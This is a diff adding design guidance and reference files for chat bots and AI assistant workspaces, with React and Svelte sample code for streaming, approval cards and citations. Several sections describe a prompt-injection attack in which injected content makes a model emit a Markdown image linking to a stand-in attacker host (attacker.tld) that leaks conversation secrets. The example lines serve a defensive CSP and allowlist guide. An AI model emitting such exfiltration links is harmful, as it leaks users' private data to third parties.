- Messaging interfaces are constrained embedded surfaces. The host controls typography, spacing, theme, chrome, input modality, accessibility tree, scrolling, notifications, and often whether content is persistent or ephemeral. Do not paste a web dashboard into chat: reduce the decision to the smallest actionable conversational unit.
11
+ Conversational interfaces fall into two distinct architectural tracks. Identify which track you are building first so you neither force web-app chrome into a host-constrained messaging payload nor under-design an app-owned AI workbench:
12
+
13
+ - **Track A — Host-constrained Messaging & Mini Apps**: Slack, Discord, Telegram, Zalo, WhatsApp, Microsoft Teams, LINE, and WeChat. The host controls typography, spacing, theme, accessibility tree, notifications, and hard payload/timeout limits. Reduce every turn to the smallest actionable native primitive and preserve plain-text fallback.
14
+ - **Track B — App-owned AI & Agentic Chat Workspaces**: Custom web, desktop, or mobile AI assistants, copilots, and multi-agent workbenches. You own scroll physics, streaming Markdown stability, collapsible tool/reasoning traces, conversation branching, split artifact panes, citations, and human-in-the-loop approval gates.
12
15
 
13
16
  ## Surface craft
14
17
 
15
- Let the message carry the essential meaning as text, then give the next relevant native action. Test an action acknowledgement, expired or duplicate tap, and fallback on clients that strip rich cards. Do not mistake decorative typing, extra blocks or a branding card for a usable interaction.
18
+ Let the message carry the essential meaning as scannable text, then offer the next relevant native action. For Track A, verify interaction acknowledgements (3 s windows), expired or duplicate taps, byte/character budgets, and plain-text fallback on degraded clients. For Track B, verify scroll-yield when the user scrolls up mid-stream, `Stop` abort integrity, collapsed traces, and idempotent approval cards. Never mistake fake typing theater, decorative blocks, or emoji bullet spam for usable interaction.
16
19
 
17
20
  ## References
18
21
 
19
- - Read [references/slack-discord.md](references/slack-discord.md) for Slack Block Kit surfaces/limits/mrkdwn and Discord embeds, Components V2, buttons/selects/modals.
20
- - Read [references/mobile-business-platforms.md](references/mobile-business-platforms.md) for Telegram bots/Mini Apps, Zalo Mini Apps/ZaUI, WhatsApp interactive messages, and Teams Adaptive Cards.
21
- - Read [references/conversation-design.md](references/conversation-design.md) for progressive disclosure, fallback text, ephemeral state, confirmations, accessibility, localization, privacy, and anti-slop conversation patterns.
22
+ - Read [references/slack-discord.md](references/slack-discord.md) when building Slack Block Kit (including AI Assistant streaming surfaces, `table`/`rich_text` blocks) or Discord embeds, Components V2, expanded Modals, and Embedded Activities.
23
+ - Read [references/mobile-business-platforms.md](references/mobile-business-platforms.md) when building Telegram Bots/Mini Apps (Bot API 8.x–9.x), Zalo Mini Apps/ZNS, WhatsApp Interactive Messages & Flows, Microsoft Teams Adaptive Cards/AI Library, LINE LIFF/Flex Messages, or WeChat Mini Programs.
24
+ - Read [references/conversation-design.md](references/conversation-design.md) when designing progressive disclosure, ephemeral vs persistent state, idempotent interaction lifecycles, plain-text fallbacks, and privacy/anti-slop rules across any chat surface.
25
+ - Read [references/agentic-workspace.md](references/agentic-workspace.md) when designing app-owned AI workspaces: streaming scroll-yield, tool/reasoning traces, approval gates, split artifact panes, branching/edit-and-fork, multimodal/voice/`@`-mentions, resumable runs, context transparency, and streaming Markdown/XSS safety.
26
+ - Read [references/ai-ui-libraries.md](references/ai-ui-libraries.md) when implementing AI frontend SDKs and protocols: Vercel AI SDK v5/v6 (React, Vue, Svelte, Angular), `assistant-ui`, CopilotKit v2, AG-UI, MCP Apps/MCP-UI, OpenAI Apps SDK (`window.openai`), Google A2UI, AI Elements/prompt-kit, or LangGraph `useStream`.
22
27
 
23
28
  ## Required workflow
24
29
 
25
- 1. **Identify host and surface.** Message/channel, direct message, ephemeral response, thread, modal, home tab, mini app, card refresh, notification, or bot command response. Platform capabilities and privacy differ by surface.
26
- 2. **Define the conversational job.** What decision/action must happen here? Separate immediate answer, evidence/detail, action, confirmation, and audit/persistent state.
27
- 3. **Choose native primitives.** Prefer host-native buttons/selects/cards/keyboards/templates over simulated markup or screenshots; they carry platform input/accessibility semantics.
28
- 4. **Budget payload and attention.** Count documented character/block/component limits before composing. Design truncation and continuation rather than failure at the boundary.
29
- 5. **Preserve fallback meaning.** Every rich card/keyboard/component needs plain-text or degraded-client semantics, interaction failure handling, timeout/expiry behavior, and idempotent actions.
30
- 6. **Verify in real clients.** Inspect narrow/wide, light/dark, desktop/mobile, accessibility narration where available, localization expansion, denied permissions, offline/interaction retry, and unsupported-client fallback.
30
+ 1. **Select track and surface.** Track A (channel, DM, ephemeral reply, thread, modal, Home tab, mini app, Flow, Adaptive Card) or Track B (standalone workspace, side-panel copilot, embedded MCP/Apps widget). Capabilities, timeouts, and privacy rules differ sharply.
31
+ 2. **Define the conversational job.** Separate immediate answer, supporting evidence/trace, primary action, confirmation/approval gate, and persistent audit state.
32
+ 3. **Choose native primitives or typed SDK parts.** On Track A, use host-native buttons/selects/cards/Flows instead of ASCII tables or screenshots. On Track B, render structured typed parts (`text`, `reasoning`, `tool-*`, `source-*`) rather than overloading flat strings.
33
+ 4. **Budget limits and latency.** Count exact UTF-8 bytes/characters, component caps, and ack timeouts (Track A) or streaming render/context-window/resume lifecycles (Track B).
34
+ 5. **Preserve fallback and recovery.** Guarantee plain-text fallback, idempotent server-side authorization, preserved failed drafts, and clear stopped/expired/unauthorized states.
35
+ 6. **Verify on real targets.** Inspect desktop/mobile, light/dark, narrow viewports (`390px`), keyboard/screen-reader narration, localization expansion, offline/retry, and abort/expiry paths. Label gaps honestly as `not-checked`.
31
36
 
32
37
  ## Non-negotiable rules
33
38
 
34
39
  | Concern | Rule |
35
40
  |---|---|
36
- | platform truth | Validate limits and component behavior against current official documentation; do not rely on stale blog tables. |
37
- | progressive disclosure | Lead with the answer and primary action; hide detail behind expandable/thread/modal/mini-app paths instead of dumping everything. |
38
- | state integrity | Distinguish ephemeral/private state from persistent/shared state. Never expose private draft/error context in a public channel by accident. |
39
- | action safety | Destructive/irreversible actions need confirmation, clear consequences, authorization checks server-side, and idempotency. |
40
- | accessibility | Controls need meaningful labels; color/icon-only status, emoji-only semantics, screenshots of text, and keyboard-only input with no alternative are failures. |
41
- | privacy | Treat chat payloads, callback data, deep links, mini-app init data, and interaction tokens as security-sensitive; validate server-side. |
42
- | anti-slop | No wall-of-text bot replies, emoji bullet spam, fake typing theater, repeated “I’m sorry” loops, dead buttons, or cards whose only action is a generic external link. |
41
+ | platform truth & Track A bot lifecycle | Across **`Slack`, `Discord`, `Telegram`, `Zalo`, `WhatsApp`, `Teams`, `LINE`, and `WeChat`**, return a **fast webhook `ack` within the host timeout (`< 2–3 s`)** + async deferred progress state, enforce **idempotent `event_id` / `interaction_id` deduplication** against webhook retries, handle **edited and deleted user/bot messages** cleanly (canceling stale runs or updating linked replies), and return **actionable invalid-command / missing-parameter usage guidance** with an example or interactive picker. |
42
+ | stream ergonomics, AST budget & `aria-live` throttling | Keep auto-scroll sticky **only within `~48–80 px` of bottom** with a floating `"Jump to bottom"` pill, **throttle Markdown AST re-parses (`~30–50 ms` / `rAF`)**, **keep the composer input editable while streaming** (toggle `Send` <-> `Stop` `AbortController`, never `disabled={isBusy}`), and **throttle polite `aria-live="polite"` status announcements** (announcing `"Generating response…"` / paragraph milestones / `"Response complete"`—never spamming screen readers on every streamed token or using `aria-live="assertive"`). |
43
+ | XSS & Markdown image exfiltration defense | Sanitize HTML/links **AND enforce strict `CSP img-src` allowlisting, signed image proxy, or click-to-load** on untrusted Markdown images (`![leak](https://attacker.tld/steal?secret=...)`) so prompt-injected RAG content cannot silently exfiltrate conversation data on render! |
44
+ | human-in-the-loop (`HITL`) & action safety | Gate destructive, financial, or external tool calls behind an idempotent inline approval card rendering a **human-readable `Before -> After` diff + exact target & parameters** with `Approve once` / `Edit` / `Reject`—never blind raw JSON. |
45
+ | grounded citations | Inline citations must click-to-scroll and highlight exact retrieved source passages; refuse to fabricate URLs or ungrounded confidence badges. |
46
+ | recovery, `429` & warm escalation | Render **3-part recovery errors (*What failed / Why / Next action*)**, **`429` rate-limit countdown / automatic queue**, **context-window compaction indicators**, and **warm human-support escalation** (forwarding a structured transcript summary so the user never repeats themselves). |
47
+ | privacy & retention | Validate webhooks/`initData`/tokens server-side, surface explicit **data retention / model-training disclosure + one-click Thread Delete**, and name controls by outcome. |
43
48
 
44
49
  ## Pre-submit checklist
45
50
 
46
- - [ ] exact host/surface/schema/component versions are identified;
47
- - [ ] documented limits are counted and cited in implementation notes where they constrain design;
48
- - [ ] content remains understandable when rich rendering/components are unavailable;
49
- - [ ] interaction expiry, retry, loading, error, unauthorized, and already-completed states exist;
50
- - [ ] callback payloads are validated server-side and actions are idempotent;
51
- - [ ] light/dark/mobile/desktop/narrow clients were inspected or labeled `not-checked`;
52
- - [ ] persistent versus ephemeral visibility is correct;
53
- - [ ] destructive actions require appropriate confirmation and authorization.
51
+ - [ ] **Track A messaging bots (`Slack`, `Discord`, `Telegram`, `Zalo`, `WhatsApp`, `Teams`, `LINE`, `WeChat`)**: **`< 2–3 s` webhook `ack`** + async progress state, **idempotent event deduplication**, **edited/deleted message handling**, **invalid-command / missing-parameter guidance**, and plain-text fallback verified;
52
+ - [ ] **Track B streaming & screen-reader ergonomics**: composer stays **editable during streaming** (`Send` <-> `Stop` `AbortController`), scroll yields outside `48–80 px` of bottom (`"Jump to bottom"`), Markdown AST throttles at `~30–50 ms` / `rAF`, and **polite `aria-live` announcements are throttled** so screen readers are never spammed token-by-token;
53
+ - [ ] HTML XSS **and** Markdown `![](https://...)` **data-exfiltration defense** (`CSP img-src` allowlist / proxy / click-to-load) enforced;
54
+ - [ ] `HITL` tool cards show human-readable **`Before -> After` diffs** (`Approve once` / `Edit` / `Reject`) idempotently, and inline citations scroll/highlight verified source passages;
55
+ - [ ] **3-part errors**, **`429` countdown/queue**, **context compaction banner**, **warm human handoff with summary**, and **data-retention / Thread Delete** controls wired;
56
+ - [ ] light/dark, `390 px` mobile, and keyboard/screen-reader walkthroughs verified (`rendered` vs `static` vs `not-checked`);
57
+ - [ ] **Checklist-Until-Passing Stop-Gate (`<HARD-GATE>`):** walk every checklist item above + run `slop-scan.mjs --fail-on p2`, `check-contrast.mjs`, webhook/streaming tests, and `check-acceptance.mjs .pixelcraft/acceptance.json` (`pixelcraft-review`) in a `Fix → Re-verify` loop until passing (`0` `fail`/`pending` rows, `rendered` evidence on visual/perf/a11y per `Rule #0.3`).
@@ -0,0 +1,66 @@
1
+ # Agentic and AI-native workspace UI
2
+
3
+ Use this reference when designing app-owned web, desktop, or mobile AI assistant workspaces (streaming chat, tool-calling agents, reasoning traces, branching, multimodal composers, split artifact panes, citations, and approval gates) rather than host-constrained messaging bots.
4
+
5
+ ## Streaming, scroll ownership, composer freedom, and resumable runs
6
+
7
+ | Behavior | Concrete rule |
8
+ |---|---|
9
+ | **Auto-scroll lock (`48–80 px`)** | Follow incoming tokens **only** while `distanceFromBottom <= 48–80 px`. The instant the user wheels/touches upward, release auto-scroll and surface a floating **`Jump to bottom`** pill. |
10
+ | **Editable composer & IME Enter guard** | **Never disable the text input (`disabled={isBusy}`) during streaming**: allow users to draft, queue, or steer mid-stream while toggling **`Send`** <-> **`Stop`** (`AbortController`); on `<textarea>` `Enter`-to-send, **always guard `if (e.isComposing || e.keyCode === 229) return;`** so CJK / Vietnamese Telex IME candidate confirmation never fires premature submission. |
11
+ | **Throttled Markdown AST (`30–50 ms` / `rAF`)** | Batch incoming SSE deltas and re-parse completed Markdown blocks at **`~30–50 ms` or `requestAnimationFrame`** (memoizing finalized paragraphs/code blocks) so 100 tok/s streams never peg the main thread at 100% CPU. |
12
+ | **Screen-reader safety** | Never attach `aria-live` to a token-by-token text node. Announce coarse milestones (`Generating response`, `Approval needed`, `Response complete`, `Stopped`) in a dedicated status region. |
13
+ | **Resumable runs, `429` & 3-part errors** | Reconnect active server runs across reloads (`resume`); render **`429` rate limits** with a live retry countdown / queued-send state; format failures as **3-part recovery cards (*What failed · Why · Next action*)** (`Retry`, `Switch model`, `Edit & resend`) without wiping drafts. |
14
+
15
+ ## Conversation branching, edit-and-fork, and regeneration
16
+
17
+ - Allow users to **edit an earlier prompt** or **regenerate an assistant reply** without destroying prior output: fork a sibling branch and display a compact branch pager (`< 2 / 3 >`) inline on that turn.
18
+ - Keep artifact versions, citations, and tool traces strictly linked to the active branch so switching branches never displays stale code or files from another path.
19
+ - Confirm clearly when regenerating a turn that precedes approved external side effects (cannot un-send an already-sent email or API mutation).
20
+
21
+ ## Multimodal attachments, voice input, and `@`-mention context pickers
22
+
23
+ - **Attachments (images, PDFs, audio, CSV/code)**: Render removable preview chips inside the composer showing filename, type, size/page hint, upload progress, and concrete rejection copy (oversized, unsupported MIME) while preserving typed text.
24
+ - **Voice input**: Show explicit microphone permission state, live waveform/level feedback, elapsed duration, and unambiguous `Send` vs `Cancel` controls; display editable transcript before irreversible tool-triggering prompts when accuracy matters.
25
+ - **`@`-mention context pickers**: Trigger a keyboard-accessible combobox on `@` (files, folders, docs, tables, connected tools) so users inspect and pin exact grounding scope explicitly rather than guessing what the model can see.
26
+
27
+ ## Tool traces, multi-agent attribution, and context transparency
28
+
29
+ - Collapse multi-step tool calls and intermediate reasoning by default into a scannable summary (`3 tools · 1.4s`) expandable via keyboard.
30
+ - Label every step with explicit semantic state (`running`, `completed`, `failed`, `needs-approval`) using text + icon, never color or spinner alone.
31
+ - **Multi-agent attribution**: When specialized subagents or delegated workers run in parallel, attribute each trace group to its real agent role/name inside collapsible sub-cards (avoid theatrical cartoon personas or ungrounded roleplay).
32
+ - **Context-window & compaction indicator**: When a long thread approaches context limits or triggers automatic summarization/compaction, surface a calm inline indicator (*"Earlier turns compacted to stay within context · 12 files pinned"*) so users know when earlier verbatim details were summarized.
33
+ - Show real tool inputs/outputs and elapsed times only when emitted by the backend; never fake "thinking…" steps or artificial typing delays.
34
+
35
+ ## Streaming Markdown, XSS, and Markdown image exfiltration defense
36
+
37
+ Model streams regularly emit **incomplete syntax** (` ```ts` without a closing fence, partial tables, unclosed `$$` math) **AND untrusted RAG / web-fetched prompt-injection payloads**:
38
+
39
+ - Use a fence-balancing streaming Markdown parser with memoized block chunks (`~30–50 ms` / `rAF`) and stable code-block headers (`language`, `Copy`, `Open in artifact`).
40
+ - **Strict HTML XSS defense**: disable raw HTML execution (`rehype-sanitize` strict schema), block `javascript:` / `data:text/html` URIs, and never pipe raw model output into `innerHTML`.
41
+ - **Markdown image data-exfiltration defense (`![](https://attacker.tld/leak?q=...)`)**: prompt-injected documents instruct the LLM to emit an invisible/external Markdown image whose query string exfiltrates secrets from the conversation the instant the browser fetches `<img>`! Block arbitrary external `<img>` auto-loads via **`Content-Security-Policy: img-src 'self' data: blob: https://trusted-cdn.example.com`** (or route through a domain-allowlisted proxy / render external URLs as **explicit user-click-to-load link cards** showing the destination domain).
42
+
43
+ ## Human-in-the-loop (`HITL`) approval gates
44
+
45
+ - Before executing any irreversible, financial, credential-touching, or external mutation (sending email, updating/deleting DB rows, pushing code, charging cards), pause behind an inline approval card showing a **human-readable `Before -> After` diff + exact target resource & parameters**—**never** dump an opaque raw JSON blob and ask `"Approve tool_call?"`.
46
+ - Offer **`Approve once`**, **`Edit`** (inline parameter adjustment before run), and **`Reject`** (letting the user supply steering feedback), and lock resolved cards idempotently (`Approved by you · 14:02 UTC`) against double-clicks or replays.
47
+
48
+ ## Split artifact / canvas workbench
49
+
50
+ - Open substantial generated outputs (documents, code, interactive previews, tables, diffs) in a side-by-side artifact pane on wide viewports (and a full-height sheet/tab on mobile `390px`) with independent scroll from the chat thread.
51
+ - Provide `Copy`, `Download`, version selector (`v1`, `v2`), and `Preview` / `Code` / `Diff` toggles linked to the originating turn.
52
+
53
+ ## Grounded citations, warm human escalation, and data-retention privacy
54
+
55
+ - **Passage-highlighting citations**: render inline citation chips (`[1]`) that **scroll to and highlight the exact retrieved passage** inside the source preview drawer (with page/line numbers); strip or flag any model-invented URL not present in retrieved tool context.
56
+ - **Warm human-support escalation**: when confidence fails, policy blocks automation, or the user asks for a human, hand off via a **warm transfer card** that forwards a **structured conversation summary, attempted tool steps, and user metadata** to the live agent queue (showing estimated wait/SLA) so the user never has to repeat their problem from scratch.
57
+ - **Data retention, training disclosure & Thread Delete**: state clearly near the workspace header/settings whether prompts/uploads are retained or used for training (e.g. *"Zero-data-retention · Not used to train models"* or exact retention days) and provide an immediate, verifiable **Delete Thread / Purge Attachments** control.
58
+
59
+ ## Verification checklist
60
+
61
+ - [ ] Scrolling up beyond `48–80 px` from bottom releases auto-scroll (`Jump to bottom`), composer stays **editable while streaming** (`Send` <-> `Stop`), and Markdown AST parses throttle at `~30–50 ms` / `rAF`;
62
+ - [ ] HTML XSS **and** untrusted Markdown image exfiltration (`![x](https://attacker.tld/...)`) are blocked via `CSP img-src` allowlist / proxy / click-to-load;
63
+ - [ ] `HITL` approval cards display human-readable **`Before -> After` diffs** (`Approve once` / `Edit` / `Reject`) idempotently;
64
+ - [ ] Inline citations scroll/highlight verified source passages and never fabricate URLs;
65
+ - [ ] **3-part recovery errors**, **`429` countdown/queue**, **context-compaction indicator**, **warm human escalation with transcript summary**, and **retention disclosure + Thread Delete** are wired;
66
+ - [ ] Split artifact pane collapses cleanly to a single-column sheet/tab at `390px` with zero horizontal overflow.
@@ -0,0 +1,259 @@
1
+ # AI-native frontend UI libraries and agent-UI protocols
2
+
3
+ Pair this reference with [agentic-workspace.md](agentic-workspace.md) for scroll-yield, branching, trust calibration, grounded citations, and approval-gate UX. Choose between a transport/state SDK, headless chat primitives, an in-app copilot framework, or a host-embedded agent-UI protocol based on your frontend framework and security boundary.
4
+
5
+ ## Library and protocol decision matrix
6
+
7
+ | Tool / protocol | Layer | Framework support | Best fit | Primary trade-off |
8
+ |---|---|---|---|---|
9
+ | **Vercel AI SDK UI (v5/v6)** (`ai`, `@ai-sdk/{react,vue,svelte,angular}`) | Streaming transport & typed `message.parts` state | React, Vue, Svelte 5, Angular | Custom chat/agent UIs with full visual ownership, reasoning, sources, and tool approvals | You own thread scrolling, composer ergonomics, and branching (or layer `assistant-ui` / AI Elements) |
10
+ | **assistant-ui** (`@assistant-ui/react`) | Headless accessible AI primitives (`ThreadPrimitive`, `ComposerPrimitive`) | React | Production chat workbenches needing accessible streaming, editing, branching, and tool slots | React-only; requires wiring an AI SDK, LangGraph, or custom runtime adapter |
11
+ | **AI Elements / prompt-kit / shadcn AI** | Copy-owned accessible UI component collections | React + Tailwind | Rapid high-craft message bubbles, reasoning disclosures, tool cards, citations, prompt bars | Copy-owned code must still be adapted to project tokens so apps do not look identical |
12
+ | **CopilotKit (v2) + AG-UI** (`@copilotkit/react-core/v2`) | In-app agentic copilot SDK over **AG-UI** events | React (SDK) / any (AG-UI protocol) | Embedded copilots that read/mutate app state, render streaming tools, and pause for approvals | Higher framework coupling when a lightweight standalone chat suffices |
13
+ | **LangGraph SDK** (`@langchain/langgraph-sdk/react` `useStream`) | Stateful graph streaming, interrupts, time-travel | React & framework-agnostic JS client | Multi-step LangGraph agents with native `interrupt` approvals, checkpoints, and thread branching | Coupled to LangGraph Server / Agent Protocol backend |
14
+ | **MCP Apps / MCP-UI** | Sandboxed interactive UI resources returned by MCP tools | Host-agnostic (sandboxed iframe + JSON-RPC) | MCP servers exposing rich interactive widgets inside MCP-capable chat hosts | Strict CSP/sandbox boundaries; UI must adapt to host theme and viewport constraints |
15
+ | **OpenAI Apps SDK** (`window.openai`) | ChatGPT-hosted iframe widgets (`toolOutput`, `callTool`, `setWidgetState`) | Any web stack inside widget iframe | Third-party interactive apps running inline/fullscreen/PiP inside ChatGPT | Bound to ChatGPT host runtime; must degrade when `window.openai` APIs vary |
16
+ | **Google A2UI** | Declarative JSON agent-to-UI component catalog stream | Web, Flutter, native (host renderer) | Safe generative UI across platforms where agents emit only host-approved declarative widgets | Limited to components registered in the host's trusted catalog (no arbitrary JS) |
17
+
18
+ ## Vercel AI SDK v5/v6 idioms (React, Svelte/Vue/Angular, and v4 -> v5 breaking changes)
19
+
20
+ **v4 -> v5/v6 breaking changes**: `useChat` removed flat `message.content`, `input`/`handleInputChange`, `handleSubmit`, and legacy `toolInvocations`. Pass `transport: new DefaultChatTransport({ api })`, manage composer state explicitly, call `sendMessage({ text })`, and render typed `message.parts` (`text`, `reasoning`, `source-url`, `source-document`, `tool-<name>`, `dynamic-tool`).
21
+
22
+ ```tsx
23
+ 'use client';
24
+
25
+ import { useState, type FormEvent } from 'react';
26
+ import { useChat } from '@ai-sdk/react';
27
+ import { DefaultChatTransport } from 'ai';
28
+
29
+ export function AssistantChat({ chatId }: { chatId: string }) {
30
+ const [input, setInput] = useState('');
31
+ const {
32
+ messages,
33
+ sendMessage,
34
+ addToolOutput,
35
+ addToolApprovalResponse,
36
+ regenerate,
37
+ status,
38
+ stop,
39
+ error,
40
+ } = useChat({
41
+ id: chatId,
42
+ resume: true, // reconnect to an active server stream across reloads
43
+ transport: new DefaultChatTransport({ api: '/api/chat' }),
44
+ });
45
+
46
+ const isBusy = status === 'submitted' || status === 'streaming';
47
+
48
+ function onSubmit(e: FormEvent) {
49
+ e.preventDefault();
50
+ const trimmed = input.trim();
51
+ if (!trimmed || isBusy) return;
52
+ sendMessage({ text: trimmed });
53
+ setInput('');
54
+ }
55
+
56
+ return (
57
+ <section aria-label="Assistant workspace">
58
+ {messages.map((m) => (
59
+ <article key={m.id}>
60
+ {m.parts.map((part, i) => {
61
+ if (part.type === 'text') return <p key={i}>{part.text}</p>;
62
+ if (part.type === 'reasoning') {
63
+ return (
64
+ <details key={i}>
65
+ <summary>Reasoning trace</summary>
66
+ <pre>{part.text}</pre>
67
+ </details>
68
+ );
69
+ }
70
+ if (part.type === 'source-url') {
71
+ return <a key={i} href={part.url} rel="noreferrer">{part.title ?? part.url}</a>;
72
+ }
73
+ if (part.type === 'source-document') {
74
+ return <span key={i} className="citation-chip">{part.title}</span>;
75
+ }
76
+ if (part.type === 'dynamic-tool' || part.type.startsWith('tool-')) {
77
+ if (part.state === 'input-streaming') return <p key={i}>Preparing tool call…</p>;
78
+ if (part.state === 'approval-requested' && 'approval' in part && part.approval) {
79
+ const inputSummary = 'input' in part ? JSON.stringify(part.input) : '';
80
+ return (
81
+ <div key={i} role="region" aria-label="Tool approval required">
82
+ <p><strong>Confirm action:</strong> {part.type.replace(/^tool-/, '')}</p>
83
+ <p>Target &amp; parameters (Before → After): <code>{inputSummary}</code></p>
84
+ <button type="button" onClick={() => addToolApprovalResponse({ id: part.approval.id, approved: true })}>Approve once</button>
85
+ <button type="button" onClick={() => addToolApprovalResponse({ id: part.approval.id, approved: false })}>Reject</button>
86
+ </div>
87
+ );
88
+ }
89
+ if (part.state === 'output-error') return <p key={i} role="alert">Tool failed: {part.errorText} — retry or edit parameters.</p>;
90
+ if (part.state === 'output-available') return <pre key={i}>{JSON.stringify(part.output)}</pre>;
91
+ // For client-executed tools awaiting output: call addToolOutput({ tool, toolCallId, output })
92
+ }
93
+ return null;
94
+ })}
95
+ </article>
96
+ ))}
97
+
98
+ {error && (
99
+ <div role="alert">
100
+ <p><strong>Response interrupted:</strong> {error.message} — your draft and history are preserved.</p>
101
+ <button type="button" onClick={() => regenerate()}>Retry last response</button>
102
+ </div>
103
+ )}
104
+
105
+ <form onSubmit={onSubmit}>
106
+ <label htmlFor="chat-prompt" className="sr-only">Message</label>
107
+ {/* Never lock input with disabled={isBusy}; guard Enter-to-send against CJK/Vietnamese IME composition */}
108
+ <input
109
+ id="chat-prompt"
110
+ value={input}
111
+ onChange={(e) => setInput(e.target.value)}
112
+ onKeyDown={(e) => {
113
+ if (e.key === 'Enter' && (e.nativeEvent.isComposing || e.keyCode === 229)) {
114
+ e.preventDefault();
115
+ }
116
+ }}
117
+ placeholder={isBusy ? 'Draft next turn or steer while streaming…' : 'Ask anything…'}
118
+ />
119
+ {isBusy ? (
120
+ <>
121
+ <button type="button" onClick={() => stop()} aria-label="Stop active stream">
122
+ Stop
123
+ </button>
124
+ {input.trim() && (
125
+ <button
126
+ type="button"
127
+ onClick={() => {
128
+ const next = input.trim();
129
+ stop();
130
+ sendMessage({ text: next });
131
+ setInput('');
132
+ }}
133
+ >
134
+ Steer now
135
+ </button>
136
+ )}
137
+ </>
138
+ ) : (
139
+ <button type="submit" disabled={!input.trim()}>
140
+ Send
141
+ </button>
142
+ )}
143
+ </form>
144
+ </section>
145
+ );
146
+ }
147
+ ```
148
+
149
+ ### Non-React AI SDK & framework-agnostic SSE / AG-UI idioms
150
+
151
+ Do not assume React—Vercel AI SDK ships official first-class `Chat` classes for **Svelte 5 (`@ai-sdk/svelte`)**, **Vue (`@ai-sdk/vue`)**, and **Angular (`@ai-sdk/angular`)**, and any web/desktop stack can consume **AG-UI** SSE directly with `fetch` + `AbortController`:
152
+
153
+ ```svelte
154
+ <!-- Svelte 5 (@ai-sdk/svelte) -->
155
+ <script lang="ts">
156
+ import { Chat } from '@ai-sdk/svelte';
157
+ import { DefaultChatTransport } from 'ai';
158
+
159
+ const chat = new Chat({ transport: new DefaultChatTransport({ api: '/api/chat' }) });
160
+ let draft = $state('');
161
+
162
+ function submit(e: SubmitEvent) {
163
+ e.preventDefault();
164
+ if (!draft.trim()) return;
165
+ chat.sendMessage({ text: draft.trim() });
166
+ draft = '';
167
+ }
168
+ </script>
169
+
170
+ {#each chat.messages as msg (msg.id)}
171
+ {#each msg.parts as part}
172
+ {#if part.type === 'text'}<p>{part.text}</p>{/if}
173
+ {/each}
174
+ {/each}
175
+ <form onsubmit={submit}>
176
+ <input bind:value={draft} aria-label="Prompt" />
177
+ <button type="submit">Send</button>
178
+ </form>
179
+ ```
180
+
181
+ ```ts
182
+ // Framework-agnostic AG-UI / SSE stream consumer (TypeScript / vanilla / Lit / Solid / WebView)
183
+ export async function streamAgUiRun(url: string, body: unknown, onEvent: (ev: Record<string, unknown>) => void) {
184
+ const controller = new AbortController();
185
+ const res = await fetch(url, {
186
+ method: 'POST',
187
+ headers: { 'Content-Type': 'application/json', Accept: 'text/event-stream' },
188
+ body: JSON.stringify(body),
189
+ signal: controller.signal,
190
+ });
191
+ if (!res.ok || !res.body) throw new Error(`Stream HTTP ${res.status}`);
192
+ const reader = res.body.getReader();
193
+ const decoder = new TextDecoder();
194
+ let buf = '';
195
+ while (true) {
196
+ const { value, done } = await reader.read();
197
+ if (done) break;
198
+ buf += decoder.decode(value, { stream: true });
199
+ for (const chunk of buf.split('\n\n')) {
200
+ if (chunk.startsWith('data: ')) onEvent(JSON.parse(chunk.slice(6)));
201
+ }
202
+ buf = buf.slice(buf.lastIndexOf('\n\n') + 2);
203
+ }
204
+ return controller;
205
+ }
206
+ ```
207
+
208
+ ## CopilotKit v2 (`useFrontendTool` & `useHumanInTheLoop`)
209
+
210
+ - `useFrontendTool` accepts Standard Schema v1 validators (`Zod`, `Valibot`, `ArkType`). While `status === 'inProgress'`, `args` is **partial**—guard every property before reading nested fields.
211
+ - `useHumanInTheLoop` transitions through `'inProgress'` -> `'executing'` -> `'complete'` (lowercase string values in v2 render props) and supplies `respond(...)` strictly during `'executing'` (call `respond` once per invocation).
212
+
213
+ ```tsx
214
+ import { useHumanInTheLoop } from '@copilotkit/react-core/v2';
215
+ import { z } from 'zod';
216
+
217
+ useHumanInTheLoop({
218
+ name: 'confirmRefund',
219
+ description: 'Request approval before issuing a customer refund',
220
+ parameters: z.object({ orderId: z.string(), amountUsd: z.number() }),
221
+ render: ({ args, respond, status }) => {
222
+ if (status === 'inProgress') return <p>Preparing refund details…</p>;
223
+ if (status !== 'executing' || !respond) return null;
224
+ return (
225
+ <div role="region" aria-label="Refund approval">
226
+ <p>Refund ${args.amountUsd} for order {args.orderId}?</p>
227
+ <button type="button" onClick={() => respond({ approved: true })}>Approve refund</button>
228
+ <button type="button" onClick={() => respond({ approved: false })}>Decline</button>
229
+ </div>
230
+ );
231
+ },
232
+ });
233
+ ```
234
+
235
+ ## LangGraph SDK (`useStream`), MCP Apps, OpenAI Apps SDK, and Google A2UI
236
+
237
+ - **LangGraph SDK (`@langchain/langgraph-sdk/react`)**: Use `const thread = useStream({ apiUrl, assistantId, threadId })`. Render `thread.interrupt` as an inline approval/input card and resume execution via `thread.submit(undefined, { command: { resume: userDecision } })`. Support checkpoint **time-travel / branching** by submitting with a prior `checkpoint` so edits fork cleanly without mutating history.
238
+ - **MCP Apps / MCP-UI**: When an MCP tool returns an interactive UI resource (`ui://...`), render it inside a sandboxed iframe (`sandbox="allow-scripts"`) with strict CSP, bridge tool invocations through the host JSON-RPC/postMessage channel, and sync host light/dark theme tokens into the frame.
239
+ - **OpenAI Apps SDK (ChatGPT widgets `window.openai`)**: Read initial tool results from `window.openai.toolOutput`, invoke follow-up MCP tools with `await window.openai.callTool(name, args)`, persist compact UI state via `window.openai.setWidgetState(state)`, and adapt layout cleanly to `window.openai.theme` and `window.openai.displayMode` (`inline`, `fullscreen`, `pip`).
240
+ - **Google A2UI**: Validate every streamed A2UI JSON surface/component message against your client's registered widget catalog, resolve JSON Pointer data bindings safely, and dispatch user actions back as structured events—never evaluate raw HTML or code strings from the agent.
241
+
242
+ ## Do/don't pairs
243
+
244
+ | Do | Don't |
245
+ |---|---|
246
+ | Wire controlled composer input -> `sendMessage({ text })` and render `message.parts` | Use removed v4 `message.content`/`handleSubmit` or leave unused `input` state |
247
+ | Handle `'input-streaming'`, `'approval-requested'`, `'output-error'`, and `error` + `regenerate()` | Render only happy-path `'output-available'` and ignore tool/stream errors |
248
+ | Match CopilotKit v2 `'inProgress'` / `'executing'` / `'complete'` status checks consistently | Mix PascalCase enum names and mismatched strings or dereference partial `args` |
249
+ | Use `@ai-sdk/{svelte,vue,angular}` or native SSE/AG-UI when the repo is not React | Force React into a Vue, Svelte, Angular, or vanilla workspace |
250
+ | Sandbox MCP Apps / OpenAI Apps iframes with explicit CSP and host theme sync | Inject untrusted agent HTML/JS directly into the host document |
251
+
252
+ ## Verification commands
253
+
254
+ ```sh
255
+ npm run build
256
+ npx playwright test
